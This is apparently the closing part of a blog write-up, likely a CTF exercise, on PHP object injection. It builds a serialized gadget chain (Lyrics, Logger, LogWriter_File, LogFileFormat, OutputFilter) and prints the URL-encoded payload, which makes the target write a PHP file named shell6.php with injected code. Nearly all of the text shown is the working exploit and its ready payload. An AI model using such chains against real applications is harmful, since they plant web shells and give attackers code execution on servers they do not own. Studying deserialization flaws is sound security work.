	$o = new OutputFilter("//", "<?php phpinfo(); ?>");
	$o1 = new LogFileFormat(array($o), "\n");
	$o2 = new LogWriter_File("shell6.php", $o1);
	$o3 = new Logger($o2);
	$o4 = new Lyrics("Th0r", $o3);
	
	$s = serialize($o4);
	echo urlencode($s);
//O%3A6%3A%22Lyrics%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00lyrics%22%3Bs%3A4%3A%22Th0r%22%3Bs%3A7%3A%22%00%2A%00song%22%3BO%3A6%3A%22Logger%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00logwriter%22%3BO%3A14%3A%22LogWriter_File%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A10%3A%22shell6.php%22%3Bs%3A9%3A%22%00%2A%00format%22%3BO%3A13%3A%22LogFileFormat%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00filters%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A12%3A%22OutputFilter%22%3A2%3A%7Bs%3A15%3A%22%00%2A%00matchPattern%22%3Bs%3A2%3A%22%2F%2F%22%3Bs%3A14%3A%22%00%2A%00replacement%22%3Bs%3A19%3A%22%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%22%3B%7D%7Ds%3A7%3A%22%00%2A%00endl%22%3Bs%3A1%3A%22%0A%22%3B%7D%7D%7D%7D
?>

image-20201217180745688

posted @ 2020-12-17 21:39  Th0r  阅读(3812)  评论(0编辑  收藏  举报